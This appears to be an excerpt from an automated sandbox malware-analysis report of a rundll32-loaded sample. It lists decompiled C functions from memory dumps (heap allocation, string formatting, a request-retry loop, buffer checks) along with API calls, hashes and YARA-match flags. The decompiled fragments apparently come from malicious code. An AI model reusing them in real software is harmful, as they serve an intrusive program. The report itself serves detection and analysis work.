                                            • Instruction Fuzzy Hash: 1121F371E01228ABCF51EFA5DC84ADEBBB5FF08720F15812AF914B6250C3349A41DFA4
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DECB50 Relevance: 1.6, APIs: 1, Instructions: 99COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32(?,00000001,00000000,76EC4D40,?,?,00000000,05DE3333,?,?,?,?,?,?,?,05DDBF69), ref: 05DECB65
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HandleModule
                                            • String ID:
                                            • API String ID: 4139908857-0
                                            • Opcode ID: 32f4e83ad70faff2d335708b8ced2fdf29aa7eb99a21d6ff75748c1519823f43
                                            • Instruction ID: abc23cb0a81ad819cbefa7a7a270406dfbbdf0827e7fcac9b939d27e369e93e0
                                            • Opcode Fuzzy Hash: 32f4e83ad70faff2d335708b8ced2fdf29aa7eb99a21d6ff75748c1519823f43
                                            • Instruction Fuzzy Hash: B43142B2E20205EFCB10EF9CD885EADBBB6FB45215B1584ABE205EB310D771AD41CB51
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB215A Relevance: 1.6, APIs: 1, Instructions: 75memoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 92%
                                            			E04AB215A(signed int __eax, void* __ecx, intOrPtr* _a4, void** _a8, intOrPtr* _a12) {
				signed int _v5;
				signed int _v12;
				void* _t32;
				signed int _t37;
				signed int _t39;
				signed char _t45;
				void* _t49;
				char* _t51;
				signed int _t65;
				signed int _t66;
				signed int _t69;

				_v12 = _v12 & 0x00000000;
				_t69 = __eax;
				_t32 = RtlAllocateHeap( *0x4aba2d8, 0, __eax << 2); // executed
				_t49 = _t32;
				if(_t49 == 0) {
					_v12 = 8;
				} else {
					 *_a8 = _t49;
					do {
						_t45 =  *_a4;
						asm("cdq");
						_t65 = 0x64;
						_t37 = (_t45 & 0x000000ff) / _t65;
						_v5 = _t37;
						if(_t37 != 0) {
							 *_t49 = _t37 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t37 * 0x9c;
						}
						asm("cdq");
						_t66 = 0xa;
						_t39 = (_t45 & 0x000000ff) / _t66;
						if(_t39 != 0 || _v5 != _t39) {
							 *_t49 = _t39 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t39 * 0xf6;
						}
						_a4 = _a4 + 1;
						 *_t49 = _t45 + 0x30;
						 *(_t49 + 1) = 0x2c;
						_t49 = _t49 + 2;
						_t69 = _t69 - 1;
					} while (_t69 != 0);
					_t51 = _t49 - 1;
					 *_a12 = _t51 -  *_a8;
					 *_t51 = 0;
				}
				return _v12;
			}














                                            0x04ab215f
                                            0x04ab2164
                                            0x04ab2172
                                            0x04ab2178
                                            0x04ab217c
                                            0x04ab21ed
                                            0x04ab217e
                                            0x04ab2182
                                            0x04ab2185
                                            0x04ab2188
                                            0x04ab218f
                                            0x04ab2190
                                            0x04ab2191
                                            0x04ab2193
                                            0x04ab2198
                                            0x04ab219f
                                            0x04ab21a5
                                            0x04ab21a6
                                            0x04ab21a6
                                            0x04ab21ad
                                            0x04ab21ae
                                            0x04ab21af
                                            0x04ab21b3
                                            0x04ab21bf
                                            0x04ab21c5
                                            0x04ab21c6
                                            0x04ab21c6
                                            0x04ab21c8
                                            0x04ab21ce
                                            0x04ab21d0
                                            0x04ab21d5
                                            0x04ab21d6
                                            0x04ab21d6
                                            0x04ab21dc
                                            0x04ab21e5
                                            0x04ab21e7
                                            0x04ab21ea
                                            0x04ab21f9

                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04AB2172
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: AllocateHeap
                                            • String ID:
                                            • API String ID: 1279760036-0
                                            • Opcode ID: 5d9099b4218b6984c1ef66ea6bb8f63151034b8f1b571469df977cd4c0f2e5ee
                                            • Instruction ID: d85c4598aa4043f2d54dc43596d838a8d405e08deed69e25929e3229982947e4
                                            • Opcode Fuzzy Hash: 5d9099b4218b6984c1ef66ea6bb8f63151034b8f1b571469df977cd4c0f2e5ee
                                            • Instruction Fuzzy Hash: 4511E732246345AFEB058F29D855BE97BA9DB53314F14408AE5809F393C177950BC760
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD300E Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32(-00000002,?,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DD3049
                                              • Part of subcall function 05DE5D9D: NtQueryInformationProcess.NTDLL(00000000,?,00000018,00000000,05DF9420), ref: 05DE5DB4
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HandleInformationModuleProcessQuery
                                            • String ID:
                                            • API String ID: 2776635927-0
                                            • Opcode ID: e694262d17743d581951c331cf8290fd4dfabecb38407cda084b76c775eee3dd
                                            • Instruction ID: bcc045e33a738c7a7638b06cfffcdcb5fec0b9f253867a6d66ca7aafdd993fb2
                                            • Opcode Fuzzy Hash: e694262d17743d581951c331cf8290fd4dfabecb38407cda084b76c775eee3dd
                                            • Instruction Fuzzy Hash: FD215E72700249AFDF30DF99D884EBAB7A6FF44290714482FE9458B250D671E980CB71
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB5347 Relevance: 1.6, APIs: 1, Instructions: 70synchronizationCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB5347(signed int* __ecx, intOrPtr _a4, signed int* _a8, signed int* _a12) {
				intOrPtr _v12;
				signed int _v20;
				intOrPtr _v24;
				signed int _v60;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t14;
				signed int* _t16;
				signed int _t25;
				signed int _t26;
				signed int* _t28;
				signed int _t30;

				_t28 = __ecx;
				_t14 =  *0x4aba368; // 0x5629618
				_v12 = _t14;
				_t16 = _a12;
				_t30 = 8;
				if(_t16 != 0) {
					 *_t16 =  *_t16 & 0x00000000;
				}
				do {
					_t31 =  &_v68;
					if(E04AB24BC( &_v68) == 0) {
						goto L16;
					}
					_t30 = E04AB4BD6(_t31, _a4, _v12);
					if(_t30 == 0) {
						_t25 = E04AB595A(_t31, 0x102, _t28, _t30); // executed
						_t30 = _t25;
						if(_t30 != 0) {
							if(_t30 == 0x102) {
								E04ABA000 = E04ABA000 + 0xea60;
							}
						} else {
							if(_v24 != 0xc8) {
								_t30 = 0xe8;
							} else {
								_t26 = _v20;
								if(_t26 == 0) {
									_t30 = 0x10d2;
								} else {
									_t28 = _a8;
									if(_t28 != 0) {
										_v60 = _v60 & _t30;
										 *_t28 = _v60;
										_t28 = _a12;
										if(_t28 != 0) {
											 *_t28 = _t26;
										}
									}
								}
							}
						}
					}
					E04AB15B9( &_v68, 0x102, _t28, _t30);
					L16:
				} while (_t30 == 0x2f19 && WaitForSingleObject( *0x4aba30c, 0) == 0x102);
				return _t30;
			}


















                                            0x04ab5347
                                            0x04ab534d
                                            0x04ab5354
                                            0x04ab535c
                                            0x04ab5362
                                            0x04ab5365
                                            0x04ab5367
                                            0x04ab5367
                                            0x04ab536f
                                            0x04ab536f
                                            0x04ab5379
                                            0x00000000
                                            0x00000000
                                            0x04ab5388
                                            0x04ab538c
                                            0x04ab5390
                                            0x04ab5395
                                            0x04ab5399
                                            0x04ab53d5
                                            0x04ab53d7
                                            0x04ab53d7
                                            0x04ab539b
                                            0x04ab53a2
                                            0x04ab53cc
                                            0x04ab53a4
                                            0x04ab53a4
                                            0x04ab53a9
                                            0x04ab53c5
                                            0x04ab53ab
                                            0x04ab53ab
                                            0x04ab53b0
                                            0x04ab53b5
                                            0x04ab53b8
                                            0x04ab53ba
                                            0x04ab53bf
                                            0x04ab53c1
                                            0x04ab53c1
                                            0x04ab53bf
                                            0x04ab53b0
                                            0x04ab53a9
                                            0x04ab53a2
                                            0x04ab5399
                                            0x04ab53e4
                                            0x04ab53e9
                                            0x04ab53e9
                                            0x04ab540d

                                            APIs
                                            • WaitForSingleObject.KERNEL32(00000000,00000000,00000000,76F081D0), ref: 04AB53F9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: ObjectSingleWait
                                            • String ID:
                                            • API String ID: 24740636-0
                                            • Opcode ID: 6e9bee992ac9cc0e32040d11824340da90b4277f87d431ff687cd0dd572a6328
                                            • Instruction ID: 93989a23dd7c8eba9a3bb113b34e886ea2a93741830692fae88d2aa41ee4e3d0
                                            • Opcode Fuzzy Hash: 6e9bee992ac9cc0e32040d11824340da90b4277f87d431ff687cd0dd572a6328
                                            • Instruction Fuzzy Hash: 70218431B00305ABDB119F56D8A07EE37B9EB40359F544029E58197352D7B4EC42C7D0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDFE23 Relevance: 1.6, APIs: 1, Instructions: 52processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05DDFE75
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateProcess
                                            • String ID:
                                            • API String ID: 963392458-0
                                            • Opcode ID: d71ee6b0684b8d92668e6cf28f7412daa126143f00bd5acc45502c739ec6a1b7
                                            • Instruction ID: cc1f0035801b25ae9351ad0564ee45a6c04c844dc40facc16777b2665cceab9e
                                            • Opcode Fuzzy Hash: d71ee6b0684b8d92668e6cf28f7412daa126143f00bd5acc45502c739ec6a1b7
                                            • Instruction Fuzzy Hash: 8511E13660420AAFDF029FA9DC419DA7FB5FF48274B058126FE2996261C731D821DFA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB6D05 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 34%
                                            			E04AB6D05(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x4aba348; // 0xb6d5a8
				_t4 = _t15 + 0x4abb39c; // 0x5628944
				_t20 = _t4;
				_t6 = _t15 + 0x4abb124; // 0x650047
				_t17 = E04AB69D2(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E04AB1109(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}










                                            0x04ab6d0f
                                            0x04ab6d16
                                            0x04ab6d17
                                            0x04ab6d18
                                            0x04ab6d19
                                            0x04ab6d1f
                                            0x04ab6d24
                                            0x04ab6d24
                                            0x04ab6d2e
                                            0x04ab6d40
                                            0x04ab6d47
                                            0x04ab6d75
                                            0x04ab6d49
                                            0x04ab6d4b
                                            0x04ab6d50
                                            0x04ab6d72
                                            0x04ab6d52
                                            0x04ab6d55
                                            0x04ab6d5c
                                            0x04ab6d61
                                            0x04ab6d63
                                            0x04ab6d63
                                            0x04ab6d68
                                            0x04ab6d68
                                            0x04ab6d50
                                            0x04ab6d7c

                                            APIs
                                              • Part of subcall function 04AB69D2: SysFreeString.OLEAUT32(?), ref: 04AB6AB1
                                              • Part of subcall function 04AB1109: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,04AB2B23,004F0053,00000000,?), ref: 04AB1112
                                              • Part of subcall function 04AB1109: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,04AB2B23,004F0053,00000000,?), ref: 04AB113C
                                              • Part of subcall function 04AB1109: memset.NTDLL ref: 04AB1150
                                            • SysFreeString.OLEAUT32(00000000), ref: 04AB6D68
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: FreeString$lstrlenmemcpymemset
                                            • String ID:
                                            • API String ID: 397948122-0
                                            • Opcode ID: 624808ac591df9766196043ba7c03e8dd62a49e97f18036e20747945a5cea84f
                                            • Instruction ID: 982bef41c31eb24f34115b86ba40ea1fc81322af2edf8aa579ca117abb4d8016
                                            • Opcode Fuzzy Hash: 624808ac591df9766196043ba7c03e8dd62a49e97f18036e20747945a5cea84f
                                            • Instruction Fuzzy Hash: DB017C72500929BFEB119FA8CC04DEABBBCFB04650F004425EA85E7162E770E921C7D2
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE30FC Relevance: 1.5, APIs: 1, Instructions: 15threadCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DD16A1: GetProcessImageFileNameW.PSAPI(?,00000000,00000800,00001000,05DF9190,00000000,05DE3103,?,05DDC793,?), ref: 05DD16C0
                                              • Part of subcall function 05DD16A1: PathFindFileNameW.SHLWAPI(00000000,?,?,00000000,00000800,00001000,05DF9190,00000000,05DE3103,?,05DDC793,?), ref: 05DD16CB
                                              • Part of subcall function 05DD16A1: _wcsupr.NTDLL ref: 05DD16D8
                                              • Part of subcall function 05DD16A1: lstrlenW.KERNEL32(00000000), ref: 05DD16E0
                                            • ResumeThread.KERNEL32(00000004,?,05DDC793,?), ref: 05DE3111
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileName$FindImagePathProcessResumeThread_wcsuprlstrlen
                                            • String ID:
                                            • API String ID: 3646851950-0
                                            • Opcode ID: 9e067d109bc78005dadb533d6c493c8b1260d0d4a7a2d660aa35c098f63eb7a5
                                            • Instruction ID: 57874e409edea7636ff0fec338234cf9be53b399e1b6bcfbe1a861c5481785ef
                                            • Opcode Fuzzy Hash: 9e067d109bc78005dadb533d6c493c8b1260d0d4a7a2d660aa35c098f63eb7a5
                                            • Instruction Fuzzy Hash: F8D05E74606301A6DA213720CD1AB36BE96EF48A48F00CC2AF98541160C7329450A620
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF2A8B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                            Download Yara Rule
                                            APIs
                                            • ___delayLoadHelper2@8.DELAYIMP ref: 05DF2A98
                                              • Part of subcall function 05DF2BEB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,000250E4,05DD0000), ref: 05DF2C64
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExceptionHelper2@8LoadRaise___delay
                                            • String ID:
                                            • API String ID: 123106877-0
                                            • Opcode ID: a15a1d4edc38510887934fdd078ef81c3adba443d00121ebbeee873087244d70
                                            • Instruction ID: 0ea92c27ba45feb45577ab3e325458e904c15a5d44669554a1956962d1f6764e
                                            • Opcode Fuzzy Hash: a15a1d4edc38510887934fdd078ef81c3adba443d00121ebbeee873087244d70
                                            • Instruction Fuzzy Hash: F0A002B96595027D3114D6516D55D36211DD4C0F65326455BB64594044649078551235
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF2AA6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                            Download Yara Rule
                                            APIs
                                            • ___delayLoadHelper2@8.DELAYIMP ref: 05DF2A98
                                              • Part of subcall function 05DF2BEB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,000250E4,05DD0000), ref: 05DF2C64
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExceptionHelper2@8LoadRaise___delay
                                            • String ID:
                                            • API String ID: 123106877-0
                                            • Opcode ID: 3197fee2d04cf60a3dcab18599a19f7cbb271d2786ffcbc4b8b3a9908a65190f
                                            • Instruction ID: 30f2565b78f3ef11d2175c3fcf88d6e778dc1e0d92fb68199fc4b4195d0d71f7
                                            • Opcode Fuzzy Hash: 3197fee2d04cf60a3dcab18599a19f7cbb271d2786ffcbc4b8b3a9908a65190f
                                            • Instruction Fuzzy Hash: D3A002A925D5037D311496516D55C36211DD4C4F65326455BA64284044649068551231
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE1C01 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateHeap
                                            • String ID:
                                            • API String ID: 1279760036-0
                                            • Opcode ID: 0af347b163f8b0a8e732147e33656768301e86b98cbb93dd1c9063b59c656d52
                                            • Instruction ID: 49385e8bd08fe1ce60305e602ed5cd4308bfb426f3fea770e49f2f6d6a16e25d
                                            • Opcode Fuzzy Hash: 0af347b163f8b0a8e732147e33656768301e86b98cbb93dd1c9063b59c656d52
                                            • Instruction Fuzzy Hash: EDB01271510100ABDE014B14FE06F067F21A750700F004013B30900174CA3104E0EB05
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDC6B8 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FreeHeap
                                            • String ID:
                                            • API String ID: 3298025750-0
                                            • Opcode ID: c5b22f4aadf2fcffb5da325f80aa31d3c3d8193240eaefcc988f1e86bdb4f91e
                                            • Instruction ID: c52c6b31b001351025a97f8ab39d7c71da87ca386b9c994e2e278ad3f4e516fa
                                            • Opcode Fuzzy Hash: c5b22f4aadf2fcffb5da325f80aa31d3c3d8193240eaefcc988f1e86bdb4f91e
                                            • Instruction Fuzzy Hash: 5DB01236410100ABDE014B14FD06F067F21A750700F014413B20940170CA3104E4EB05
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB4DF6 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB4DF6(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x4aba2d8, 0, _a4); // executed
				return _t2;
			}




                                            0x04ab4e02
                                            0x04ab4e08

                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: AllocateHeap
                                            • String ID:
                                            • API String ID: 1279760036-0
                                            • Opcode ID: 5bf5bba427619a1d8607e01d493fb73460bdd132690eb9d2155fd09dbd979b3d
                                            • Instruction ID: 401906185ba6ecab8f2cc12a1259e128e9608dad928cf9d6e1c499a003ac7a92
                                            • Opcode Fuzzy Hash: 5bf5bba427619a1d8607e01d493fb73460bdd132690eb9d2155fd09dbd979b3d
                                            • Instruction Fuzzy Hash: 32B01271104300ABDA014B00DD08F067B21F770700F004010B34544072C2370C72FB44
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB17E5 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB17E5(intOrPtr* __eax, void* __ecx, void* __edx, void* _a4, void** _a8) {
				void* _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v144;
				int _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				char _v164;
				void* _t37;
				void* _t42;
				void* _t51;
				int _t53;
				void* _t60;
				void* _t63;
				void* _t64;

				_t53 = 0;
				_t60 = __ecx;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				if(__ecx <= 0x80 ||  *__eax != 0x400) {
					L21:
					return _t53;
				} else {
					_t58 =  &_v164;
					_t37 = E04AB2F5B(__eax, __edx,  &_v164,  &_v16, _a4 + __ecx - 0x80);
					if(_t37 != 0) {
						goto L21;
					}
					_t61 = _t60 - 0x80;
					if(_v148 > _t60 - 0x80) {
						goto L21;
					}
					while( *((intOrPtr*)(_t64 + _t37 - 0x8c)) == _t53) {
						_t37 = _t37 + 1;
						if(_t37 < 0x10) {
							continue;
						}
						_t53 = _v148;
						_t51 = E04AB4DF6(_t53);
						_v8 = _t51;
						_t73 = _t51;
						if(_t51 != 0) {
							_t53 = 0;
							L18:
							if(_t53 != 0) {
								goto L21;
							}
							L19:
							if(_v8 != 0) {
								E04AB4C73(_v8);
							}
							goto L21;
						}
						memcpy(_t51, _a4, _t53);
						L8:
						_t63 = _v8;
						E04AB679A(_t58, _t73, _t63, _t53,  &_v32);
						if(_v32 != _v164 || _v28 != _v160 || _v24 != _v156 || _v20 != _v152) {
							L15:
							_t53 = 0;
							goto L19;
						} else {
							 *_a8 = _t63;
							goto L18;
						}
					}
					_t58 =  &_v144;
					_t42 = E04AB3072(_t61 & 0xfffffff0, 0,  &_v144, _a4,  &_v8,  &_v12); // executed
					__eflags = _t42;
					if(_t42 != 0) {
						_t53 = _v12;
						goto L18;
					}
					_t53 = _v148;
					__eflags = _v12 - _t53;
					if(__eflags >= 0) {
						goto L8;
					}
					goto L15;
				}
			}























                                            0x04ab17f0
                                            0x04ab17f3
                                            0x04ab17fa
                                            0x04ab17fd
                                            0x04ab1800
                                            0x04ab1805
                                            0x04ab1901
                                            0x04ab1905
                                            0x04ab1817
                                            0x04ab1823
                                            0x04ab182a
                                            0x04ab1831
                                            0x00000000
                                            0x00000000
                                            0x04ab1837
                                            0x04ab183f
                                            0x00000000
                                            0x00000000
                                            0x04ab1845
                                            0x04ab184e
                                            0x04ab1852
                                            0x00000000
                                            0x00000000
                                            0x04ab1854
                                            0x04ab185b
                                            0x04ab1860
                                            0x04ab1863
                                            0x04ab1865
                                            0x04ab18e6
                                            0x04ab18ed
                                            0x04ab18ef
                                            0x00000000
                                            0x00000000
                                            0x04ab18f1
                                            0x04ab18f5
                                            0x04ab18fa
                                            0x04ab18fa
                                            0x00000000
                                            0x04ab18f5
                                            0x04ab186c
                                            0x04ab1874
                                            0x04ab1874
                                            0x04ab187d
                                            0x04ab188b
                                            0x04ab18e2
                                            0x04ab18e2
                                            0x00000000
                                            0x04ab18ae
                                            0x04ab18b1
                                            0x00000000
                                            0x04ab18b1
                                            0x04ab188b
                                            0x04ab18c0
                                            0x04ab18ce
                                            0x04ab18d3
                                            0x04ab18d5
                                            0x04ab18ea
                                            0x00000000
                                            0x04ab18ea
                                            0x04ab18d7
                                            0x04ab18dd
                                            0x04ab18e0
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab18e0

                                            APIs
                                            • memcpy.NTDLL(00000000,?,?,?,?,04AB58B7,00000001,?,?,04AB58B7), ref: 04AB186C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: memcpy
                                            • String ID:
                                            • API String ID: 3510742995-0
                                            • Opcode ID: eeb1230fe5a49d3e01f8d9271f8ab7622e43da6029275f198d82e6dbb559eb0b
                                            • Instruction ID: 2144afb60991783d84ad9fa52683b46090025531ec96e4f7f5f06553a1523dc1
                                            • Opcode Fuzzy Hash: eeb1230fe5a49d3e01f8d9271f8ab7622e43da6029275f198d82e6dbb559eb0b
                                            • Instruction Fuzzy Hash: BB310C72E00219EFEF21DFE4C990EEDB77DBB04244F1045A9E5D9A7142D730AA45DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 012F1CD2 Relevance: 1.3, APIs: 1, Instructions: 86memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.568634711.00000000012F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_12f0000_rundll32.jbxd
                                            Similarity
                                            • API ID: AllocVirtual
                                            • String ID:
                                            • API String ID: 4275171209-0
                                            • Opcode ID: dd415d2dbdb7d154c94c834763c5cb9e4d4232cf84615e1dc290bd74be3a31cd
                                            • Instruction ID: 9b1d55ab4561dbb46ddb4c502201b2dca7f0b08b03e26dc99e28c5ee53af8335
                                            • Opcode Fuzzy Hash: dd415d2dbdb7d154c94c834763c5cb9e4d4232cf84615e1dc290bd74be3a31cd
                                            • Instruction Fuzzy Hash: 0B4101B0911206CFDB04DF68C1946AEBBF0FF48308F24856DD958AB351E37AA946CF91
                                            Uniqueness

